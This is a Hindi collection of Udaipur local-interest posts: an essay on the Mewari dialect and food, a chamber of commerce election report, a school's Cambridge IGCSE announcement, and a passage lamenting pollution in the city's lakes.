उदयपुर में एक खास किस्म की नफासत है जो दिल्ली, जयपुर या किसी और शहर में नहीं मिलती. केवल इमारतें या बाग-बगीचें ही नहीं,बल्कि उदयपुरी जुबां भी ऐसी है कि कोई बोले तो लगता है कानों में शहद घोल दिया हो. केवल राह चलते लोग ही नहीं बल्कि इस शहर में तो सब्जी बेचने वाले हो या सोना-चांदी बेचने वाले  सब इसी खास जुबान में ही बात करते है. “रिपिया कई रुखड़ा पे लागे जो थारे ठेला री अणि  हुगली साग ने पांच रिपिया पाव लूँ.. तीन में देनी वे तो देई जा भाया…!” जब बनी ठनी छोटी चाची जी सब्जी वाले से कुछ इस तरह भाव-ताव करती है तो फक्र महसूस होता है  अपनी मेवाडी पर. कई बार तो परकोटे के भीतर माहौल कुछ ऐसा हो जाता है कि अजनबी यही सोचकर कुछ बोलने से डरते है कि वह सबसे अलग दिखने लगेंगे.
केवल उदयपुर के मूल निवासियों या राजपूतों ने ही नहीं बल्कि शहर की इस तहज़ीब भरी जुबां को अन्य समुदायों ने भी अपने जीवन में समाहित किया है.. “म्हारा गाबा लाव्जो मम्मी, मुं हाप्डी रियो हूँ ” ये शब्द सुने मैंने “बड़ी होली” मोहल्ले में रहने वाले एक ईसाई बच्चे के मुह से. यकीन मानिए,इतना सुनने  के बाद कोई नहीं कह सकता कि ये ईसाई है. उस बच्चे के मुह से मेवाडी लफ्ज़ इस खूबसूरती और नरमाई लिए निकल रहे थे कि लगा मानो, वो मेवाडी तहज़ीब का चलता फिरता आइना हो.
उदयपुर के कूंचों में आप मेवाडी ज़बान सुन सकते हैं. मशहूर मांड गायिका मांगी बाई के मुह से “पधारो म्हारे देस” सुनने के लिए दस दस कोस के लोग लालायित रहते है. यहाँ के हर लोक कलाकार, कवि सभी में कहीं न कहीं मेवाडी अंदाज़ ज़रूर झलकता है. और तब  ” पूरी  छोड़ ने आधी खानी, पण मेवाड़ छोड़ने कठेई नि जानी” कहावत सार्थक हो उठती है. . कवि “डाडम चंद डाडम” जब अपनी पूरी रंगत में आकर किसी मंच से गाते हैं- “मारी बाई रे कर्यावर में रिपिया घना लागी गिया.. इ पंच तो घी यूँ डकारी गिया जू राबड़ी पि रिया वे…” तो माहौल में ठहाका गूँज उठता है.

बात राबड़ी की निकली तो दूर तलक जायेगी…

बचपन में सुना करते थे कि अगर सुबह सुबह एक बड़ा कटोरा भरके देसी मक्की की राब पी ली जाये तो दोपहर तक भूख नहीं लगती. जो लोग गाँव से ताल्लुक रखते है, उन्हें वो दृश्य ज़रूर याद आता होगा, जब आँगन के एक कोने में या छत पर जल रहे चूल्हे पर राबड़ी के  तोलिये (काली बड़ी मटकी,जिसे चूल्हे पर चढ़ाया जाता था)से भीनी भीनी खुशबु उठा करती थी और घर के बुज़ुर्ग चिल्लाते थे.. “अरे बराबर हिलाते रहना, नहीं तो स्वाद नि आएगा.” और देसी लफ़्ज़ों में कहे तो “राब औजी जाई रे भूरिया” ..
वो भी गजब के  ठाठ थे राबड़ी के, जिसके बिना किसी भी समय का भोजन अधूरा माना जाता था. मक्की की उस देसी राब का स्वाद अब बमुश्किल मिल पाता है. होटलों में राब के नाम पर उबले मक्की के दलिये को गरम छाछ में डालकर परोस देते है.
“दाल बाटी चूरमा- म्हारा काका सुरमा “
चूल्हे पर चढ़ी राब और निचे गरम गरम अंगारों पर सिकती बाटी. नाम सुनने भर से मुह में पानी आ जाता है. पहले देसी उपलों के गरम अंगारों पर सेको, फिर गरम राख में दबा दो.. बीस-पच्चीस मिनट बाद बहार निकाल कर.. हाथ से थोड़ी दबाकर छोड़ दो घी में..  जी हाँ, कुछ ऐसे ही नज़ारे होते थे चंद बरसों पहले.. अब तो बाफला का ज़माना है. उबालो-सेको-परोसो.. का ज़माना जो आ गया है. अब घर घर में ओवन है, बाटी-कुकर है. चलिए कोई नहीं. स्वाद वो मिले न मिले..बाटी मिल रही है, ये ही क्या कम है !!
अब शहर में कही भी उस मेवाडी अंदाज़ का दाल-बाटी-चूरमा नसीब नहीं. एक-आध रेस्टोरेंट था तो उन्होंने भी क्वालिटी से समझौता कर लिया. कही समाज के खानों में बाटी मिल जाये तो खुद को खुशकिस्मत समझते हैं. और हाँ, बाटी चुपड़ने के बाद बचे हुए घी में हाथ से बने चूरमे का स्वाद… कुछ याद आया आपको !
आधी रात को उठकर जब पानी की तलब लगती है तो दादी का चिर परिचित अंदाज़ सुनने को मिलता है.. “बाटी पेट में पानी मांग री है”  चेहरे पर मुस्कान आ जाती है.

“मैं मेवाड़ हूँ.”
मोतीमगरी पर ठाठ से विराजे महाराणा प्रताप सिंह जी, चेटक सर्किल पर रौब से तीन टांग पर खड़ा उनका घोडा चेटक… जगदीश मंदिर की सीढियाँ  चढ़ता फिरंगी और अंदर जगन्नाथ भगवान के सामने फाग गाती शहर की महिलाएं.. गणगौर घाट के त्रिपोलिया दरवाज़े से झांकती पिछोला.. नेहरु गार्डन में मटके से पानी पिलाती औरत की मूर्ति, सहेलियों की बाड़ी मे छतरी के ऊपर लगी चिड़िया के मुह से गिरता फिरता पानी.. गुलाब बाग में चलती छुक छुक रेल, सुखाडिया सर्किल पर इतनी बड़ी गेहूं की बाली… लेक पेलेस की पानी पर तैरती छाया, दूर किसी पहाड़ से शहर को आशीर्वाद देती नीमच माता… जी हाँ ये हमारा उदयपुर है.
शहर की इमारतों का क्या कहना.. मेवाड़ के इतिहास की ही तरह ये भी भव्य है..अपने में एक बड़ा सा इतिहास समेटे हुए. पिछोला किनारे से देखने पर शहर का मध्य कालीन स्वरुप दिखता है. यूँ तो उदयपुर को कहीं से भी देखो,ये अलग ही लगता है पर पिछोला के नज़ारे का कोई तोड़ नहीं. एक तरफ गर्व से सीना ताने खड़ा सिटी पेलेस.. तो दूसरी तरफ होटलों में तब्दील हो चुकी ढेर सारी हवेलियाँ. जाने कितने राजपूतों के आन-बाण शान पर खड़ा है ये शहर..
शाम के समय मोती मगरी पर “साउंड और लाईट शो” चलता है. यहीं पर स्थित मोती महल में प्रताप अपने कठिनाई भरे दिनों में कुछ दिन ठहरे थे. खंडहरों पर जब रौशनी होती है और स्वर गूंजता है…”मैं मेवाड़ हूँ” तो यकीन मानिये आपका रोम रोम खड़ा हो जाता है. कुम्भा, सांगा, प्रताप, मीरा, पन्ना, पद्मिनी… जाने कितने नाम गिनाये… तभी माहौल में महाराणा सांगा का इतिहास गूँजता है. कहते ही उनका जन्म तो ही मुग़लों को खदेड़ने के लिए हुआ था. उनकी लहराती बड़ी बड़ी मूंछें,गहरे अर्थ लिए शरीर के अस्सी घाव, लंबा और बलिष्ठ बदन उनके व्यक्तित्व को और अधिक प्रभावशील बना देता था. और तभी मुझे मेरठ  के मशहूर वीर रस कवि “हरी ओम पवार” के वे शब्द याद आते है… ” अगर भारत के इतिहास से राजस्थान निकाल दिया जाये, तो इतिहास आधा हो जाता है.. पर राजस्थान से अगर मेवाड़ को निकाल दिया जाये, तो कुछ नहीं बचता !”

इसी बीच घूमते घूमते आप देल्ही गेट पहुच जाये और “भोला ” की जलेबी का स्वाद लेते लेते अगर आपको ये शब्द सुनने को मिल जाये.. ” का रे भाया..घनो हपड हापड जलेबियाँ चेपी रियो हे.. कम खाजे नि तो खर्-विया खावा लाग जायगा.” तो यकीन मानिये आप ने शहर को जी लिया… वैसे उदयपुर निहायत ही खूबसूरत शहर है, और जब हम इसकी जुबान, खान पान की  बात छेड़ देते है तो बहुत कुछ आकर्षक चीज़ें हमसे छूट जाती है..

 

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Oath taking ceremony for Kaladwas Chamber of Commerce and Industries held

KCCI Udaipur

आज दिनांक 18.2.2012 को कलडवास चैम्बर आँफ कामर्स एण्ड इंडस्ट्रिज, उदयपूर की नवीन कार्यकारिणी का चुनाव निर्विरोध सम्पन्न हुआ । इसी अवसर पर नवनिर्वाचित कार्यकारिणी का शपथ ग्र्हण एंव निवर्तमान कार्यकारिणी का विदाई समारोह सी.एफ.सी भवन, आई.आई.डी. सेंटर, रिको कलडवास, उदयपुर(राज.) मे सम्पन्न हुआ ।

कार्यक्रम के मुख्य अतिथी नगर विधायक एंव पूर्व गृहमंत्री राजस्थान सरकार श्री गुलाबचन्द कटारिया, अध्यक्षता ग्रामीण विधायक श्री मति सज्जन कटारा तथा विशिष्ठ
अतिथी भाजपा के प्रदेश मंत्री एंव थोक भंडार के पूर्व अध्यक्ष श्री प्रमोद सामर थे ।

कार्यक्रम की शुरूआत मनोज जोशी द्वारा माल्यार्पण तथा निवर्तमान अध्यक्ष के.के.शर्मा द्वारा शाल पहना कर सभी अतिथीयों का स्वागत के साथ हुई । स्वागत अभिनंदन की रस्म मे मतदान अधिकारी एडवोकेट श्री भूपेश पंचोली एवं सहमतदान अधिकारी श्री कमलेश शर्मा को श्री गुलाबचन्द कटारिया ने शाल पहनाया एंव स्मृति चिन्ह भेट कर अभिनंदन किया गया। कलडवास चैम्बर आँफ कामर्स एण्ड इंडस्ट्रिज के लिये पूर्व मे किये गये उत्कृष्ठ कार्यो के लिये श्री गिरीश जोशी का अभिनंदन श्री मति सज्जन कटारा ने शाल ओढा कर स्मृति चिन्ह भेट किया गया ।

चैम्बर के निवर्तमान अध्यक्ष के.के.शर्मा ने अपने कार्यकाल के दौरान हुए कार्यो का ब्यौरा प्रस्तूत करते हुए बताया की कलडवास रीको मे चैम्बर भवन के लिये प्रयास किये जिसके परिणाम स्वरूप रीको मे चैम्बर भवन हेतु जमीन प्रदान कर दी गयी है और आशा है कि नव-गठीत कार्यकारीणी जल्द ही चैम्बर भवन निर्माण हेतु सकारात्मक कदम उठायेगी । शर्मा ने अपने कार्यकाल को बैहद सफल बताया एंव निवर्तमान कार्यकारीणी का परिचय करवाते हुए विदाई भाषण दिया ।

कार्यक्रम के मुख्य अतिथी के रूप मे अपने उद्बोधन मे नगर विधायक एंव पूर्व गृहमंत्री राजस्थान सरकार श्री गुलाबचन्द कटारिया ने रीको कलडवास के विकास पर हर सम्भव प्रयास कर आवश्यक कदम उठाने का आस्वासन दिया । उन्होने इस क्षेत्र के उद्दमियो को विश्वास दिलाया कि विकास की नयी रफ्तार मे इस क्षेत्र को विकसित करने के लिये वे सरकार से हर स्तर यथासंभव प्रयास करने के लिये तैयार है इस काम मे वे नगर परिषद एंव नगर विकास प्रन्यास से भी आवश्यक सहायता दिलवाने का भरपूर प्रयास करेगें ।

कार्यक्रम की अध्यक्षता करते हुए ग्रामीण विधायक श्री मति सज्जन कटारा ने बताया कि वे इस विधान सभा क्षेत्र के विधायक तौर पर कई विकास कार्य करवा चुंकि है तथा आने वाले समय मे भी वे इसके लिये उद्दमियो के साथ कंधे से कंधा मिला खडी रहेगी जिससे की कलडवास रीको औधोगिक क्षेत्र उदयपूर का सबसे बडा औधोगिक बन सकें ।

मतदान अधिकारी एडवोकेट श्री भूपेश पंचोली ने नवनिर्वाचित कार्यकारीणी के निर्विरोध निर्वाचन की औपचारिक घोषणा की एंव जिसके तुरंत बाद श्री गुलाबचन्द कटारिया ने निम्न पदो पर नवनिर्वाचित कार्यकारीणी को शपथ दिलवायी :-

अध्यक्ष:- श्री मनोज जोशी
उपाध्यक्ष:- श्री गोपाल अग्रवाल
सचिव:- श्री महावीर राठौड
सहसचिव:- श्री निखिल जैन
कोषाध्यक्ष:- श्री इंद्र सिंह कोठारी
सहकोषाध्यक्ष:- श्री मुकेश मुणोत

कार्यकारिणी सदस्य:- कुल बारह

  • श्री सतीश सारस्वत
  • श्री मनीष कालीका
  • श्री चन्द्र प्रकाश चौधरी
  • श्री स्वास्तिक रांका
  • श्री केजार अली
  • श्री सचिन जैन
  • श्री मनीष गन्ना
  • श्री मनीष पानेरी
  • श्री लोकेश वसीटा
  • श्री गिरीश भगत
  • श्री नितिन बोलिया
  • श्री शुभकरन जैन

नवनियुक्त अध्यक्ष मनोज़ जोशी ने अपने प्रथम अध्यक्षीय उदबोधन ने बताया कि इस क्षेत्र का सम्पूर्ण विकास ही उनका मुख्य ध्येय है जिसके लिये वे कटीबद्द एंव प्रयासरत है। उनकी प्राथमिकता इस क्षेत्र को उदयपुर का बेहतरीन औधोगिक क्षेत्र के रूप मे विकसित करना है । पेट्रोल की बदती हुई कीमतों तथा क्षेत्र में उपलब्ध रोजगार के अवसरों को बेहतर बनाने के लिए इस क्षेत्र के लिये अच्छी आवगमन की सुविधा जुटाना, सार्वजनिक परिवहन की सुविधाओं को शुरू कराना जिससे इस क्षेत्र में नौकरी के शहर से तथा आसपास के गाँवों से आने वाले लोगों तथा कामगारों तथा उदयपुर नगर के बाहर से आने वालों को सस्ता एवं सुलभ यातायात साधन मिल
सके.

श्री जोशी ने उदयपुर के दोनों जन प्रतिनिधियों से यह मांग करी कि जल्द ही उदयपुर अहमदाबाद रेल मार्ग का आमान परिवर्तन का कार्य त्वरित गति से समयबद्ध सीमा में हो जिससे यहाँ के उद्यमियों को कच्छे एवं पक्के माल लादान की सुविधा उमरडा रेल स्टेशन से मिल सके, तथा बढती हुई प्रतिस्पर्धा के दौर में यहाँ के उद्यमी अपना माल देश विदेश में जल्द से जल्द भेज सके ।

उन्होंने प्रतापनगर से बलिचा तक जल्द ही फोर लेन मार्ग को समय की आवश्यकता बताया तथा यह भी जनप्रतिनिधियों से आग्रह किया कि ओद्योगिक क्षेत्र के आने वाले विस्तार को देखते हुए हिरन मगरी से उमरडा तक भी फोर लेन मार्ग जल्द ही बनाना चाहिए , तथा गीतांजलि अस्पताल के पास से गुप्तेश्वर महादेव मंदिर से कलडवास ओद्यागिक क्षेत्र में जाना वाला मार्ग भी कम से कम १२० फिट जल्द ही बनवाने से क्षेत्र के विकास में सहायता मिलेगी.

इस अवसर पर ESIC के कमिश्नर श्री जी सी दरजी भी उपस्तिथ थे तथा उन्हें यह बताया कि ESIC डिस्पेंसरी के अभाव में दुर्घटना के समय मजदूरों एवं कर्मचारियों की जान का जोखिम कम से कम हो तथा उन्हें जल्द चिकित्सा सुविधा उपलब्ध हो उसके लिए जल्द ही डिस्पेंसरी के निर्माण कार्य शुरू हो, तथा यह हो तब तक सरकार को नियुक्ति प्रदान करे हम उन्हें किराए पर डिस्पेंसरी लगाने के लिए स्थान उपलब्ध करवाने में मदद करेंगे…

कार्यक्रम मे रीको कलडवास क्षेत्र से जुडे अधिकांश उद्यमी उपस्थित थे । संचालन निवर्तमान महासचिव एंव नव निर्वाचित अध्यक्ष मनोज जोशी ने किया । धन्यवाद की रस्म के.के. शर्मा ने अदा की ।

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About Cambridge International Examinations

Cambridge University Press

केम्ब्रिज विश्वविद्यालय, लंदन से सम्बद्ध केम्ब्रिज अन्तर्राष्ट्रीय परीक्षा कार्यक्रम (Cambridge International Examinations-CIE), 5 से 19 वर्ष के बच्चों के लिए अन्तर्राष्ट्रीय शिक्षा प्रदान करने वाला भारत एवं विश्व का सबसे बड़ा  प्रदाता है। इनके कार्यक्रम और योग्यताऐं 160 देशों में अधिकतम स्कूलों द्वारा अपनाऐ गए हैं।

यह शिक्षा कार्यक्रम जीवन भर चलने वाली सोच और कौशल का विकास करती है जो शिक्षार्थियों को निरंतर बदलती दुनिया में सफलता के लिए तैयार करती है।
CIE द्वारा चलाए जाने वाले पाठ्यक्रम विश्व भर के विश्वविद्यालयों एवं काॅलेजों द्वारा मान्यता प्राप्त है।
संगम स्कूल आॅफ एक्सीलेंस (द वल्र्ड स्कूल) छात्रों के लिए अंतराष्ट्रीय शिक्षा सतत एवं सरल रूप में प्रदान करवाने के लिए प्रतिबद्ध है।
संगम स्कूल को, विश्व के सबसे बड़े अंतर्राष्ट्रीय शिक्षा और कार्यक्रम प्रदान करने वाले CIE – सी. आई. ई. (कैम्ब्रिज़ विश्वविद्यालय अंतर्राष्ट्रीय परीक्षायें, लंदन) से मान्यता प्राप्त है।
जिसमें विद्यालय को कक्षा 9 और 10 के लिए सर्वाधिक ख्याति प्राप्त IGCSE पाठ्यक्रम एवं कक्षा 6 से 8 के लिए Cambridge Checkpoint पाठ्यक्रम को चलाने के लिए मान्यता प्रदान की गई है।
ICE  कैम्ब्रिज़ विश्वविद्यालय का एक विभाग है जो प्रतिवर्ष 450,000 विद्यार्थियों की IGCSE  की परीक्षायें करवाता है जो की CBSE, RBSE की तरह पूर्णतया मान्यता प्राप्त परीक्षाऐं है।
IGCSE पाठ्यक्रम विश्व का सबसे अधिक चुना जाने वाला पाठ्यक्रम है।
IGCSE  पाठ्यक्रम में छात्रों को 70 से भी अधिक विषयों में से अपनी पसंद के विषयों को चुनने की छूट होती है तथा अधिकतर विषयों में एडवांस एवं कोर स्तर की पढ़ाई करवाई जाती है।
एडवांस स्तर पर छात्रों द्वारा चुने गए विषयों में, छात्रों को एक्सपर्ट बनने का अवसर मिलता है। जबकि कोर स्तर में केवल नाॅलेज बेस्ड जानकारी लेनी होगी।
IGCSE  पाठ्यक्रम  से विद्यार्थी को सीनियर स्तर की पढाई का सुदृढ़ आधार तैयार करने का अवसर मिलता है।
IGCSE  की परीक्षा के प्रश्न पत्र CIE द्वारा भेजे जाऐंगें  और उनका परिणाम विश्व स्तर पर घोषित किया जाएगा।
इसी प्रकार कक्षा 6 से 8 के विद्यार्थियों को Cambridge Secondary Level -1 programme, की तैयारी करवाई जाएगी, इसे न्ज्ञ में चलने वाले KS3 पाठ्यक्रम के समान मान्यता प्राप्त है। इस पाठ्यक्रम कि विशेषता कक्षा 8 के अंत ली जाने वाली Check point परीक्षा है जो केवल 3 विषयों (अंग्रेजी, गणित एवं विज्ञान) में ली जाती है। इसका परिणाम एक डाईग्नोस्टिक परिणाम होता है, जो यह बताता है कि विद्यार्थी को भविष्य में कौन – कौन से विषय लेने चाहिए। यह परीक्षा भी CIE द्वारा करवाई जाएगी।
इन पाठ्यक्रमों मे छात्र-शिक्षक अनुपात 1ः15 ही रखने की अनुमति है ।
इन पाठ्यक्रमों को चलाने हेतु केम्ब्रिज विश्वविद्यालय द्वारा शिक्षकों को प्रशिक्षण प्रदान किया जाता है।
संगम स्कूल मेनेजमेंट ने यह भी बताया कि इस पाठ्यक्रम को चलाने के लिए सभी तैयारियाँ कर ली गई हैं। और 1 अप्रेल 2012 से इसे नियमित रूप से चलाया जाएगा।

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cic - logo colour

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कोई तो ध्यान दो इधर !! – The Dirty Pictures

Ugly state of Lake Pichola near Hotel Taj Lake Palace

दुनियाभर के पर्यटक उदयपुर क्यों आते है ?? जवाब आसान है. यूँ तो बहुत कुछ है उदयपुर में देखने, महसूस करने के लिए पर मुख्यतः यहाँ की झीलें निहारने के लिए विदेशी पर्यटक और हमारे अपने देशवासी भी बार बार उदयपुर का रुख करते है.  किन्तु आज अगर झीलों की दशा पर गौर करें तो पाएंगे कि शायद हम लोग हमारी विरासत संभाल नहीं पा रहे. मेवाड़ के महाराणाओ ने भी नहीं सोचा होगा कि उनके सपनो की कालांतर में हकीकत कुछ और होगी. अगर आप हमारी बात से इत्तेफाक नहीं रखते तो चलिए आज आपको शहर की झीलों का भ्रमण करा ही देते है.
शुरुआत करते हैं फतहसागर से. मुम्बईया बाजार में आपका स्वागत है.  आप आराम से किनारे पर बैठिये. ब्रेड पकोडे का आनंद लीजिए.. यहाँ की कुल्हड़ काफी का स्वाद स्वतः मुह में पानी ला देता है.  पर गलती से भी नीचे  झील में झाँकने की भूल मत कीजिये. आपको शहर की खूबसूरती पर पहला पैबंद नज़र आ जायेगा. जी हाँ.. इतनी गन्दगी.. पानी में इतनी काई. न तो नगर परिषद की टीम यहाँ नज़र आती है न ही झील हितैषी मंच.! वैसे आप भी कम नहीं है.. याद कीजिये, कितनी बार काफी गटकने के बाद आपने कुल्हड़ या थर्मोकोल गिलास कचरा  पात्र में डाला.. न कि झील में.. “अजी कुल्हड़ तो मिट्टी का है, पानी में मिल जायेगा...” बेहूदा जवाब नहीं है ये? आगे बढ़कर फतहसागर के ओवरफ्लो गेट को तो मत ही देखिएगा. यहाँ गन्दगी चरम पर है.

dirty lake fatehsagar
पिछोला घूमे है कभी ? सच्ची !! चलिए एक बार फिर पिछोला की परिक्रमा करते है . कितना खूबसूरत दरवाज़ा है. नाम चांदपोल. वाह ! बेहतरीन पुल. पर गलती से भी चांदपोल के ऊपर से गुज़रते वक्त दायें-बाएं पिछोला दर्शन मत कीजियेगा.. आपको मेरी कसम. अब मेरी कसम तोड़कर देख ही लिया तो थोडा दूर लेक पेलेस को देखकर अपनी शहर की खूबसूरती पर मुस्कुरा भर लीजिए, पुल से एकदम नीचे या यहाँ-वहाँ बिलकुल नहीं देखना.. वर्ना पड़ोस की मीरा काकी, शोभा भुआ घर के तमाम कपडे-लत्ते धोते वहीँ  मिल जायेगी. आप उनको पहचान लोगे, मुझे पता है. पर वो आपको देखकर भी अनदेखा कर देगी..! जैसे आपको जानती ही नहीं.  चलिए उनको कपडे धोने दीजिए. आप तब तक पानी पर तैर रही हरी हरी काई और जलकुम्भी को निहारिए.

Lake Pichola

lake Pichola
झीलों के शहर की तीसरी प्रमुख झील स्वरुप सागर की तो बात ही मत कीजिये. पाल के नीचे लोहा बाजार में जितना कूड़ा-करकट न होगा,उतना तो झील में आपको यूँ ही देखने को मिल जायेगा. याद आया! वो मंज़र..जब झीलें भर गयी थी और इसी स्वरुप सागर के काले किवाडों से झर झर बहता सफ़ेद झक पानी देखा था. पर फ़िलहाल पानी मेरी आँखों में आ गया.. न न झील के हालात को देखकर नहीं, पास ही में एक मोटर साइकिल  रिपेयरिंग की दूकान के बाहर से उठते धुएं ने मेरी आँखों से पानी बहा ही दिया.

Lake Swaroopsagar

Photo By Kailash Tak

कुम्हारिया तालाब  और रंग सागर. क्या … मैंने ठीक से सुना नहीं…आपको नहीं पता कि ये कहाँ है ! अजी तो देर किस बात की. अम्बा माता के दर्शन करने के पश्चात वहीँ  अम्बा पोल से  अंदरूनी शहर में प्रवेश करते है (शादी की भीड़ को चीरकर अगर पहुच गए तो) तो पोल के दोनों तरह जो  दिखाई दे रहा  है, वो दरअसल झील है. ओह..याद आ गया आपको. “पर पानी कहाँ है. !” कसम है आपको भैरूजी बावजी की. ऐसा प्रश्न मत पूछिए. ये झील ही है पर देखने में झील कम और “पोलो ग्राउंड ” ज्यादा लगते है. वजह साफ़, पानी कम है और जलकुम्भी ज्यादा. चलिए अच्छा है. अतीत मे